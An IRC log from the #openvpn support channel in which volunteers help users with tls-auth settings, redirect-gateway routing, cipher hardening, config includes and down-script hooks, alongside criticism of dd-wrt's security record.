14:47 -!- corretico_ [~luis@190.241.180.58] has quit [Ping timeout: 272 seconds]
14:47 -!- dos-freak [leecher@zentarim.0wnz.at] has joined #openvpn
14:50 < bwallen> pekster: Is there a way to automate the key request import and signing? Say I have a base server build for all of my new servers which includes an openvpn client. Could I make it so that the first time they boot they send a req to my vpn server and have the server return the signed cert? If so, how could I authenticate requests so no one else could request a signed cert from my CA?
14:51 <+pekster> You have a bit of a chicken/egg problem since you can't accept a request from something you can't authenticate
14:51 < bwallen> Or is that idea just fundamentally flawed?
14:51 <+pekster> Yea, basically that ;). You _could_ bundle some ssh key on all deployed systems, but honestly that's really no better than just using a single pre-deployed openvpn keypair and using --duplicate-cn
14:52 <+pekster> It's "slightly more obfuscated" as you describe it, but to be blunt, anyone who can get the ssh key you pre-deploy (unencrypted on disk, of course) can probably figure out how to abuse it
14:52 <+pekster> Fully Automated or Secure: pick 1 ;)
14:53 < bwallen> Hmm, I didn't think about the ssh key
14:53 <+pekster> I don't know what your use-case is, but another option is relying strictly on user/pass auth for clients. This is a bit less secure because anyone who obtains the credentials can use them to log in from elsewhere, but the benefit is that you don't need to send the client a signed cert; clients just use the deployed CA cert along with their credentials
14:54 <+pekster> See !userpass for details
14:54 <+pekster> Erm, or not
14:54 <+pekster> !factoids search pass
14:54 <@vpnHelper> 'winpass', '2.1-winpass-script', 'authpass', 'password-only', 'strip-passphrase', 'change-passphrase', 'enable-passwd-save', and 'password'
14:54 <+pekster> Ah, it's !authpass
14:54 < bwallen> !authpass
14:54 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
14:55 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 240 seconds]
14:55 <+pekster> You're of course free to script automagic key signing, but it sounds like that's really the wrong thing here
14:55 <+pekster> s/key signing/request signing/
14:59 -!- corretico_ [~luis@190.241.180.58] has joined #openvpn
15:03 -!- xBytez [~quassel@unaffiliated/xbytez] has joined #openvpn
15:03 < xBytez> Good evening.
15:04 < xBytez> I've got an issue with setting up OpenVPN with my dd-wrt router, I've set up my server which seems to be working fine with a Windows client, but when I try to connect with my dd-wrt, it displays this in both client and server log: packet error: packet HMAC authentication failed
15:06 <+pekster> Sounds like some mis-matched settings between your peers xBytez. Verify all your crypto choices match, as does any use of --comp-lzo, and verify any --tls-auth directives are properly configured (with matching keys)
15:07 < xBytez> Oh yes!! I forgot to change the hash algorithm from MD5 to SHA1
15:12 <@dazo> or it's related to --tls-auth ....
15:14 <@dazo> xBytez: but ... using dd-wrt ... I would be very careful ... that's a router distro without much security perspective or understanding from the developers ....
15:14 < xBytez> dazo: Do you recommend using TomatoUSB/Toastman?
15:14 <@dazo> For more (scary) info ... http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536  ... https://lwn.net/Articles/369892/
15:14 <@vpnHelper> Title: The Grumpy Editor's Tomato review [LWN.net] (at lwn.net)
15:15 <@dazo> xBytez: well, I've not evaluated them ... but I doubt they're as ignorant as dd-wrt .... I personally use openwrt
15:16 < xBytez> dazo: Okay, this I set up for my friend who uses dd-wrt though. I personally love my tomato firmware!
15:16 < xBytez> dazo: Thanks anyways!
15:16 < xBytez> Issue was that Hash Algorithm was on MD5 instead of SHA1.....
15:16 <@dazo> heh ... "not my router, not my problem!" :-P
15:16 < xBytez> My fault.
15:17 < xBytez> dazo: exactly
15:17 <@dazo> you could at least do the courtesy of warning further ;-)
15:17 < xBytez> dazo: I'll actually send him them 2 links now!
15:18 <@dazo> :)
15:18 <+pekster> tomato is awful too as I discovered in #netfilter the other day
15:18 <@dazo> is it? .... that's a pity
15:18 < xBytez> pekster: How is it?
15:18 <+pekster> Clueless devs at that project make `iptables` a busybox "applet", so you can't get proper iptables-{save,restore} support
15:18 <+pekster> xBytez: Bad, from what I've seen. OpenWRT is the gold standard, with most (all?) others falling way short
15:19 <+pekster> And naturally, the buildsytems are borderline unusable if you don't have days/weeks to spend hacking it with sticks and bubble-gum. OpenWRT's build system is, quite literally, as easy as `make`
15:20 <+pekster> I think I added that link here dazo:
15:20 <+pekster> !ddwrt
15:20 <+pekster> !dd-wrt
15:20 <@vpnHelper> "dd-wrt" is (#1) While some users have success with dd-wrt, the build system isn't very accessible to users and there have been security issues with the distro. Consider carefully if this is the platform you want to use for OpenVPN or (#2) Firewall oopsie : http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783
15:20 < EugeneKay> make pants
15:21 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 240 seconds]
15:21 <@dazo> +1 to openwrt ... the openwrt build process is easy-peasy ... just like compiling a kernel .... well, takes a while to get the first bootstrap going for cross compiling, but once that's done it's reasonably quick
15:21 <+pekster> Yea. I glanced at the dd-wrt build docs, and they basically tell you that getting the cross-build environment going is hard work and you shouldn't really try it
15:21 <@dazo> hahaha
15:21 <+pekster> What a bad way to "present" your project to the masses, and it's borderline against the GPL anyway
15:22 <+pekster> Obviously they don't want forks
15:22 <+pekster> (which makes me even _more_likely to call them out on being fools)
15:22 <@dazo> well, as long as they produce all the needed source codes which results in the firmware, they're clean of GPL ... they're not required to even document the build process according to GPL
15:24 < xBytez> dazo: I said... hang on.. reading about major security issues on dd-wrt and openvpn
15:24 <+pekster> That opens up all sorts of cans of worms though, like cmake -DSECRET_KEY=0x0123ABCD that then "translates" your obfuscated sources into usable code during build
15:24 < xBytez> guess what reply I got
15:24 <@dazo> so what!?
15:25 < xBytez> dazo: "I don't care about that"
15:25 <@dazo> heh, exactly
15:25 <@dazo> well ... you can only provide the information, you can't make them understand it
15:25 < xBytez> Exactly..
15:26 <@dazo> xBytez: then I'd ask ... so why do you need VPN at all? ;-)
15:26 < xBytez> dazo: I know his reason, you don't want to know.
15:26 <@dazo> (okay, that's a far stretch ... but it's related)
15:26 <@dazo> hiding his pr0n surfing?
15:27 < xBytez> No. Incase he gets DDoSed, he uses his VPN to hide his IP address and let his "DDoS protected" dedicated server take it, instead of his home connection.
15:27 <@dazo> basically the same thing :-P
15:27 < xBytez> :P
15:28 < xBytez> What I am interested in... is that I've got a VPS running OpenVPN with quite nice speeds in Amsterdam, I live in the Netherlands myself and ping is like 20ms
15:28 <@dazo> nice
15:28 < xBytez> but sadly I only get around 15Mb/s when using OpenVPN.
15:29 <+pekster> dazo: wow, I haddn't seen that forum link. "although DD-WRT bakes a static key into the firmware, it uses a different key for each build" -- just.. wow.
15:29 <@dazo> I wouldn't mind a VPS host in the netherlands .... but the dutch signed the data retension law, so I'll stay away from there
15:29 <@dazo> pekster: exactly .... completely clueless
15:29 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Remote host closed the connection]
15:29 <+pekster> !learn dd-wrt as more issues: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536
15:29 <@vpnHelper> Joo got it.
15:29 <@dazo> pekster: and I love one of their official responses too:  "You shouldn't enable remote admin on the WAN port, so this isn't an issue"
15:30 < xBytez> dazo: I'm only bothered about the speed for now on that VPS>
15:30 < xBytez> dazo: I'm only bothered about the speed for now on that VPS.
15:30 < xBytez> Any reason why it's so slow? Encryption or?
15:30 <@dazo> !gigabit
15:30 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
15:30 < xBytez> oh great, reading.
15:30 < xBytez> brb
15:30 <@dazo> xBytez: ^^  JJK did quite a study on how to improve openvpn performance through several option tricks
15:31 <+pekster> dazo: Yea, that's why I think giving links to users here who might not know about this history is useful; if they still want to use it, OK, but our users ought to be informed when $platform is insecure from the outset
15:31 <@dazo> not all may apply when you're doing it over a public net ... but much of it is quite useful info
15:31 <@dazo> pekster++
15:31 <+pekster> Windows excluded, of course (they probably know it already anyway)
15:31 <@dazo> pekster: heh ... well, is Win7/8 as bad as XP?
15:32 <+pekster> No, UAC does do the right thing much of the time, but users don't use it properly
15:32 <+pekster> What it _really_ needs is to get daily users to run as non-admins and have a "gtksudo" approach, but they'll never do it
15:32 <@dazo> ahh, right ... well that's another story :)
15:32 <+pekster> UAC _is_ pretty darn good whwen used properly by carefully reviewing what you elevate, but 1) people don't, and 2) sometimes it's neigh impossible to know what UAC is actually asking permission to do in the first place
15:33 < EugeneKay> neigh is what horses do.You're thinking of nigh.
15:33 <+pekster> Some installer (often signed if from trusted sources) wants to run c:\windows\temp\grbasd424f\prog_name_instal_wrpr.exe, for instance. Probably legit, but what a bad name to show in your "details" field
15:33 <@dazo> pekster: it was done a UX study on security ... and the most secure solutions are those who never asks the user for anything ... but then have a hard strict line which the user shouldn't cross ... which is also the most user friendly approach, if the application implements it correctly and don't presume admin ACL constantly
15:34 -!- sgs [~sgs@204.62.15.119] has joined #openvpn
15:35 <@dazo> if you needed escalated privileges, an admin who understands it is the one who should allow those cases was the summary
15:35 < sgs> !welcome
15:35 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
15:35 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:35 <+pekster> Yup, I get it. It's why Windows users (generally) run as admins and click-through UAC, and why non-Windows runs as normal users and elevate when required
15:35 <@dazo> right
15:36 <+pekster> I've tried running as non-admin on Windows, but it's hard since `runas.exe` (a sudo-like command that really sucks at its job) makes things quite complicated for certain tasks
15:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-fgxeiscgpajagdnd] has quit [Ping timeout: 248 seconds]
15:36  * dazo is so lucky he don't need to live in a Windows world
15:36 < sgs> Goal: I want to share configuration between different client profiles. Question: Is there something like an 'include' directive in *.conf?
15:36 <@dazo> (even though, there are times I do need Windows ..... /me curses TomTom)
15:36 <+pekster> I couldn't even live with it at past jobs where my Windows was in a VM under Linux :(
15:36 <+pekster> ie: non-admin daily account
15:37 <@dazo> sgs:  yeah ... use 'config <file>' in your configs
15:37 <@dazo> or you can use --config several times on the command line
15:37 < sgs> dazo: Ha. First section in the man page and I miss it. Thanks.
15:38 <@dazo> you're welcome!
15:38 <@dazo> " Note that configuration files can be nested to a reasonable depth."
15:39 <@dazo> haha .... I wonder how many levels that is .....
15:39 <@dazo> (the config parser is recursive ... so probably the stack frame decides that)
15:39 <+pekster> if there's no protection against recursive calling configs it'll probably stop on crash ;)
15:39 < EugeneKay> If you find the limit you're doing it wrong.
15:39 < sgs> sizeof(int) probably ;)
15:39 <@dazo> EugeneKay: don't be so reasonable!
15:39 <@dazo> ;-)
15:39 < EugeneKay> The same thing applies to filesystem folder depths
15:39 <@dazo> sgs: far less, I'd guess
15:40  * pekster turns on VM..
15:40  * EugeneKay activates bash skills
15:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
15:43 <+pekster> const int max_recursive_levels = 10;
15:45 < EugeneKay> That's also what I came up with
15:45 <+pekster> Oh, I just called it endlessly and grep'd for the error message :P
15:45 <+pekster> /tmp/recurse.conf contained: `config /tmp/recurse.conf` ;)
15:45 < EugeneKay> [eugenekay@jeffconaway ~]$ i=0
15:45 < EugeneKay> [eugenekay@jeffconaway ~]$ while [ $i -lt 20 ]; do echo config openvpn-$(( $i+1 )).conf > openvpn-$i.conf; i=$(( $i+1 )); done
15:45 < EugeneKay> [eugenekay@jeffconaway ~]$ openvpn --config openvpn-1.conf                      Options error: In openvpn-10.conf:1: Maximum recursive include levels exceeded in include attempt of file openvpn-11.conf -- probably you have a configuration file that tries to include itself.
15:45 < EugeneKay> Use --help for more information.
15:45 <@dazo> heh ... cool
15:46 <@dazo> the option parser is confusing to read ... but I'm always fascinated how it works ... it's written cleverly, but not too readable
15:46 < EugeneKay> sooo.... it's in perl?
15:47 <@dazo> EugeneKay: I'm glad it's not in perl, as that would make it impossible to read, not just hard and confusing to read
15:47  * dazo decides to go home
15:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-qhjslfjhlqcwhyam] has joined #openvpn
15:48 -!- dazo is now known as dazo_afk
15:51 -!- GrecKo [~GrecKo@2001:41d0:1:cb16::1] has joined #openvpn
15:51 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
15:52 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:54 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has joined #openvpn
15:54 < GrecKo> hi, I'm using OpenVPN GUI in win 7. I can connect fine to my VPN server, but in order to connect to other services on the same server (ssh, ftp, ...) is that normal that I have to do :
15:54 < GrecKo> ROUTE DELETE my.remote.server.ip MASK 255.255.255.255 my.local.gateway.ip ?
15:55 < GrecKo> everything appears fine when I delete it, is there a risk in doing so ? why does it add it if it isn't needed ?
15:56 <+pekster> GrecKo: That route is added by --redirect-gateway to prevent an endless routing loop
15:56 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 265 seconds]
15:56 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
15:57 < GrecKo> ok, is there an alternative in order to connect to my server pekster ?
15:57 <+pekster> Policy routing to route only the external encapsulating VPN traffic over the physical link and keep the rest across the tunnel, provided that's what your real goal is here
15:58 <+pekster> That's OS/distro specific
15:58 < pwrcycle> what is the proper way to specify the tls key inside the config file?  i'm getting a tls key error when i use <tls-auth>  but fine when i use "tls-auth ta.key 1"
15:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:59 <+pekster> pwrcycle: Might be missing --key-direction ?
15:59 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
16:00 < GrecKo> pekster: if I understand correcty you are suggesting to route external traffic through the VPN and traffic to the server directly ?
16:01 < GrecKo> directly as in outside of the vpn
16:01 <+pekster> GrecKo: That's how --redirect-gateway works. Why is that route there in the _first_ place if you aren't doing that? Do you not know how your own setup is configured?
16:01 <+pekster> Better yet: please pastebin your server and client configs with comments removed so we can see what's really going on here. Comments/blanks removed please, per !configs
16:01 < pwrcycle> pekster: yeah, the file statement uses "1" to specify it is the client.  how do i do that inside the file?
16:02 <+pekster> pwrcycle: With the directive I just told you to look up in manpage (!man)
16:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:08 -!- sgs [~sgs@204.62.15.119] has left #openvpn ["ERC Version 5.3 (IRC client for Emacs)"]
16:08 < pwrcycle> pekster: yes it is "key-direction client" ??
16:08 < pwrcycle> pekster: the statement " tls-client " didn't work either.
16:11 < pwrcycle> ah, search say key-direction 1 ...
16:14 <+pekster> Right, it's the way to "specif[y] the optional direction parameter for the --tls-auth and --secret options." (as indicated in the manpage)
16:14 < GrecKo> pekster: client config http://hastebin.com/mucobisaqi.hs , server config : http://hastebin.com/kepeconawi.hs
16:14 <@vpnHelper> Title: hastebin (at hastebin.com)
16:14 <+pekster> GrecKo: Right, so you can't "just rip out" the /32 route as it's the only thing preventing a recursive routing situation
16:15 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 245 seconds]
16:15 <+pekster> Also, OpenDNS is best avoided due to spec-violating ad-generation (!opendns)
16:15 < GrecKo> when does this situation happen ?
16:15 <+pekster> Anytime you try to reach the VPN server via the VPN server
16:15 < GrecKo> yeah I was thinking about changing the dns
16:15 <+pekster> It's like telling you that you reach the moon by reaching the moon
16:16 <+pekster> It doesn't actually work like that (you'd use a _rocket_ reach the moon, not the moon itself)
16:16 <+pekster> Removing that route will effectively break the VPN
16:16 < GrecKo> I m accessing it right now after having deleted the route
16:16 <+pekster> On the same network then?
16:16 <+pekster> That won't work if you're off-link
16:16 <+pekster> (and you can't reliable test a redirect-gateway setup like that anyway)
16:17 <+pekster> realiably
16:17 < GrecKo> I m in some hotel wifi hotspot on the server is in a offsite datacenter
16:18 < GrecKo> s/on/and
16:18 <+pekster> The /32 route is required for the rest of what --redirect-gateway does
16:18 <+pekster> Basic routing concepts here
16:18 -!- peddie [peddie@repl.esden.net] has joined #openvpn
16:18 -!- peddie [peddie@repl.esden.net] has left #openvpn ["WeeChat 0.4.2"]
16:19 <+pekster> You can't replace 0/0 (better to use !def1 anyway for two /1 routes instead) without ensuring that the client can still reach the server externally to perform the redirection
16:19 <+pekster> Thus the /32 route to the external address of the server
16:19 -!- emka [~root@static.58.41.40.188.clients.your-server.de] has joined #openvpn
16:20 < emka> which alg param i should use for --prng
16:20 < emka> ?
16:20 < emka> i'd like to make a higly secure vpn connection
16:22 <+pekster> emka: I believe anything in `openvpn --show-digests` is valid there, so f.ex, SHA512 could be used
16:22 <+pekster> For decent hardening you should also review --tls-cipher which probably does far more practical good
16:23 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has quit [Read error: Operation timed out]
16:24 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has joined #openvpn
16:24 <+pekster> Recent git-master support even includes new commits allowing for TLSv1.2 ciphers, though that won't work with <=2.3.2 clients, so be sure to continue to accept a TLSv1.0 cipher-suite for backwards-compat
16:27 <+pekster> !paste
16:27 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
16:27 < emka> :)
16:27  * pekster never got why pastebin.com remains so popular with all its clutter, and that's after adblock removes the ads :P
16:30 <+pekster> !learn paste as gist allows multiple files per paste, useful if you have several files to show
16:30 <@vpnHelper> Joo got it.
16:30 <+pekster> vpnHelper has gained a point of [INT] :P
16:30 < GrecKo> I'm not following everything here :)
16:30 < GrecKo> sorry pekster, thank you anyway for your help.
16:30 < GrecKo> Will think about what you said and don't waste your time anymore
16:31 < emka> http://pastebin.com/NSYtbgLv
16:31 < emka> what do you think about this server config file ?
16:31 <+pekster> GrecKo: Well, if you don't have a good handle on basic routing, openvpn is probably going to get complex pretty fast for you. The tl;dr is basically that you can't redirect all your traffic over a link that relies on some of that traffic not being redirected
16:31 < emka> i'd like to do higly secure env for my company. could you please review this config
16:32 < emka> here is my client conf - http://pastebin.com/wiVG8t08
16:33 <+pekster> I'll make some tea while you try to remove the whitespaace/comments as the helpfully reference !configs has syntax for you. It's far easier to review when I don't have to scroll down pages
16:33 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
16:33 < emka> ok, no prob
16:35 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
16:36 < emka> server side - http://pastebin.com/RGkvai7w
16:37 < GrecKo> well it seems to work the way I do it hehe
16:38 < emka> client side - http://pastebin.com/SQ5Rz3WD
16:43 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has quit [Ping timeout: 245 seconds]
16:44 <+pekster> For security you ought to restrict --tls-cipher as I described earlier; include only favorable ciphers. Be aware that --auth-nocache is worthless without --auth-user-pass in the firstplace, and --persist-key on the client keeps the key in-memory (generally only useful/required when using --user, or --chroot)
16:46 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has joined #openvpn
16:47 <+pekster> emka: ^ if you missed it
16:47 < emka> what kind of --tls-cipher i should to use ?
16:47 <+pekster> One from the list; more if you want to let clients pick between several
16:47 <+pekster> !tls-cipher
16:47 <@vpnHelper> "tls-cipher" is http://sourceforge.net/mailarchive/forum.php?thread_name=48B01B33.6030806%40usa.net&forum_name=openvpn-users
16:48 <+pekster> That's rather unreadable :\
16:48 < emka> hm DHE-RSA-AES256-SHA is in example
16:48 <+pekster> Yea, that's basically the strongest you get with TLSv1.0
16:49 <+pekster> That mailing entry is valid (I'm the author of the first reply) it's just not quite what I was expecting :)
16:49 < emka> :)
16:49 < emka> and what about client config ?
16:50 <+pekster> You should use tls-auth on both sides, yes
16:50 <+pekster> Otherwise an active MITM in the middle can attempt to negotiate to the lowest either peer supports, though without compromised certs it can't ever to more than downgrade to the lowest supported
16:51 <+pekster> My only comment on the client-side was that you probably don't want line 11 (doing nothing useful) and not line 4/5 unless you plan to use --user and/or --chroot
16:51 <+pekster> As noted above
16:51 < emka> pekster: for mim prevention option tls-remote my.domain.com is good
16:52 <+pekster> No, this is a TLS downgrade attack, and you _need_ tls-auth to stop that
16:52 < emka> ok, ok
16:52 <+pekster> An active MITM can always mess with the TLS handshake before it has complete, and you should assume clever attackers can/will
16:52 <+pekster> !factoids search hardening
16:52 <@vpnHelper> No keys matched that query.
16:52 <+pekster> !factoids search hard
16:52 <@vpnHelper> No keys matched that query.
16:54 < emka> pekster: is it reasonably to use user and chroot at client ?
16:55 <+pekster> You could, but I generally don't; it's more trouble than it's really worth, and requires the private key to kept in-memory which has other implications (you're now relying more on the security of the OS/kernel)
16:56 < emka> pekster: thx
16:56 <+pekster> It's a question of benefit: which is more important to you: downgrading the user and placing openvpn in a chroot, or keeping the private key out of memory all the time? Both have advantages and drawbacks, but you never get both
16:57 <+pekster> Well, actually, you probably _could_ get both if the key is available in both locations, though that kind of defeats the purpose of a chroot to begin with
16:57 < emka> i have read just 60% of the man :)
16:58 <+pekster> Spend more time making sure you set up --tls-cipher and use strong cert/PKI/CA practices; those are much more useful to you than mucking with chroots
16:58 < emka> it's not so clear, as it could be :)))
16:58 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
16:58 <+pekster> And >=2048 bit RSA keys are recommended. Lots of sources no longer consider 1024 sufficient against well-equipped attackers
16:59 < emka> pekster: i have the issue
16:59 <+pekster> http://pekster.sdf.org/misc/bluffdale_power.png
16:59 <+pekster> But we trust the NSA and China, right? :D
16:59 < emka> what i should to do, if my connection will disconnect
17:00 <+pekster> hmm?
17:00 < emka> i dont like to use my default gw in this case
17:00 <+pekster> That's got nothing to do with openvpn at all
17:00 <+pekster> If you'd like use --down and --down-pre to "do something" when that happens
17:01 < emka> pekster: maybe you know how to solve this issue ?
17:01 <+pekster> Learn to write code/scripts to solve your problem
17:01 -!- forbajato [~quassel@h69-21-138-223.cncrtn.dsl.dynamic.tds.net] has quit [Remote host closed the connection]
17:02 < emka> i have exp with python dev :)
17:02 <+pekster> You block traffic with a firewall; openvpn can run arbitrary scripts or programs as the interface is being closed; the clever reader can write clever scripts/programs to "do interesting things" at this time
17:03 < emka> but maybe exists best practice ?
17:03 < emka> pekster: thx
17:03 < emka> it's clear now :)
17:04 < emka> i just need to block all of the stuff, where dst not is my vpn :)
17:04 < emka> right ?
17:05 <+pekster> If you want X, it would stand to reason you need to do X, yes.
17:05 <+pekster> How you configure your firewall is of no concern to openvpn. It provides script hooks (see !scripts for manpage refs/links, also 'SCRIPTING ..' in the manpage)
17:06 < emka> ok,
17:06 < emka> pekster: thank you man, you are great!
17:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:13 < emka> pekster: and what about replay-persist options ?
17:15 <+pekster> There's no real security benefit in mucking with them unless you're getting drops of legit traffic due to latency/throughput exceeding the limit, or re-ordering problems
17:16 <+pekster> There's more or less no 'security' aspect to consider beyond the loads of information you can find on google for "VPN replay protection"
17:19 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:20 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:20 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:21 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:22 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:23 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:24 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:25 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:26 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:26 <@krzee> hey i know that bluffdale slide!
17:26 <@krzee> thats from djb's talk at ccc, facthacks!
17:26 <@krzee> during the end of the talk
17:26 <@krzee> (i love that talk)
17:27 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:27 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:28 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:29 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:30 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:31 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:31 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:31 -!- akurilin [~akurilin@208.185.21.146] has quit [Read error: Connection reset by peer]
17:32 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
17:32 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:33 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
17:33 -!- muts [~muts@backtrack/leader/muts] has joined #openvpn
17:34 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:34 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:37 <+pekster> !learn hardening as https://community.openvpn.net/openvpn/wiki/Hardening
17:37 <@vpnHelper> Joo got it.
17:38 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
17:38 -!- Cultist [~CultOfThe@24.12.53.28] has quit [Read error: Connection reset by peer]
17:39 < emka> what do you think will be reasonable  keepalive params for preventing disconnect leask ?
17:39 < emka> *leaks
17:40 <+pekster> Those are unrelated
17:40 <+pekster> "leaks" describes a high-level goal openvpn has no care in the world about; if you don't want data going "the wrong way" then you use a firewall and configure it to disallow that
17:41 <+pekster> You'd configure your OS to protect itself and use the script hooks (again: !scripts) to turn this protection on/off at the proper times
17:41 < emka> but it's a problem to understand when disconnect happes
17:41 < emka> *happens
17:41 <+pekster> Not at all: `--down /my/scripts/down.sh --down-pre`
17:41 <+pekster> That's it
17:41 <+pekster> What you do in `down.sh` is entirely up to you
17:41 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has quit [Read error: Operation timed out]
17:41 <+pekster> Knowing when is the easy part; doing something smart there is the hard part
17:41 -!- Cultist_ is now known as Cultist
17:42 < emka> pekster: i mean the situation when your sript will execute after traffic leaks
17:42 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
17:42 < emka> because of keepalive params or ping params...
17:42 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 246 seconds]
17:42 <+pekster> Again with the "traffic leak" nonsense
17:42 < emka> for example i have http automation script, which have some itteration over the pages
17:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:43 < emka> pekster: is it possible situation?
17:43 <+pekster> I have no clue what you're asking
17:43 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
17:43 <+pekster> If you want to learn how to configure your OS/firewall/networking, your distro channel is where you should ask
17:44 <+pekster> If you want to learn how to program, ask #bash or #python or #perl or #yourlangauge
17:44 < emka> pekster: no, it's not a problem
17:44 <+pekster> If you want to know how to run such a program at a certain time from OpenVPN, that is what we can help with
17:45 <+pekster> After reading !scripts and the relevant manpage section, good follow-up questions would demonstrate that you tried to learn about your options rather than have me tell you that info without having read it
17:45 < emka> i mean, if my ping-restart will be 60
17:46 <+pekster> Then after 60 seconds of inactivity a soft-restart is attempted
17:46 < emka> but i my connection will disconnect at 30sec
17:46 < emka> what will be ?
17:46 < emka> *if my connection
17:46 <+pekster> Ah, you really ought to review use of --persist* options on your client; --persist-tun and --persist-ip is generally _not_ client friendly unless you are using static addressing (!static)
17:47 <+pekster> And when that changes, so do routes, such as on restarts. Use relevant script hooks if you need to do things on restarts
17:47 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
17:47 <+pekster> Read about: --up-restart for that situation
17:48 < emka> pekster: do you understand my case ?)
17:48 <+pekster> You likely want to remove all --persist* from the client config, then implement --up blah --down blah --down-pre --up-restart
17:48 <+pekster> Yes, I do
17:48 <+pekster> And I think your complete inability to figure it out based on what I've told you makes you unfit to do what you're asking about
17:48 < emka> eureka!
17:48 <+pekster> I'm not going to help you write your own scripts/code or learn to firewall your OS
17:48 <+pekster> That's _your_ job
17:48 < emka> sure :)
17:49 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
17:49 <+pekster> Everything besides --up-restart I _already_ told you about earlier, so the rest shouldn't be new to you if you've been responsible and reading about these as I've given them to you
17:49 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 246 seconds]
17:50 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:50 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
17:53 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
17:54 < emka> pekster: so i should to make scripting for my os firewal and remove persist* at my client, right ?
